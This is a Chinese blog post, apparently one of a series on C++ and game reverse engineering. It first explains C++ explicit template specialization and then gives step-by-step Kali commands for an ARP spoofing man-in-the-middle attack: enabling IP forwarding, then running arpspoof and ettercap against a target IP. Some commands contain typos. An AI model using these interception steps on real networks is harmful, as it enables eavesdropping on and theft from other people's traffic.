游戏逆向学习——C++共同学习5

第一个知识点:显式具体化,即提供一种具体化函数定义,其作用在于:

1.对于给定的函数名,可以有废木板函数、模板函数和显式具体化模板函数以及他们的重载版本。
2.显式具体化的原型和定义应以template<>打头,并通过名称来指出类型。
3.具体化优先于常规模板,而非模板函数优先于具体化和常规模板。

这里给个实例:主要注意的是swap函数是std中自带的函数,小编在第一次编译出错中发现了这个问题,所以可以使用首字母大写自定义函数模板,这个例子主要是展示显式具体化的调用等级高于普通模板。
第二个知识点:之前有小伙伴有问到我ARP欺骗的问题这里我来说一下,首先我们要进行的就靶机的确定,其中要确认一定处于同一网段,之后我们要进行一次通路测试,看是否两网互通,具体方法:

1.设置转发机制,在kali中输入一下内容并回车。

echo 1 >proc/sys/net/ipv4/ip_forward1

2.回显第一步转发确认,在kali中输入一下代码并回车。

cat /proc/sys/net/ipv4/ip_forward1

回显“1”说明第一步开启流量转发已经成功运行

3.既然要让电脑乖乖的转发自己的流量,就要让他有一种你电脑就是他要去的假象,这一步要开启ARP欺骗。另启一个窗口,输入一下代码并回车。

arpspoof -i eth0 -t 192.168.1.112 192.168.1.11

这是ARP欺骗方法,之前写过。

4.再启一个窗口,输入一下内容并回车。

ettercap -Tq -i eth0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

言行物恒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值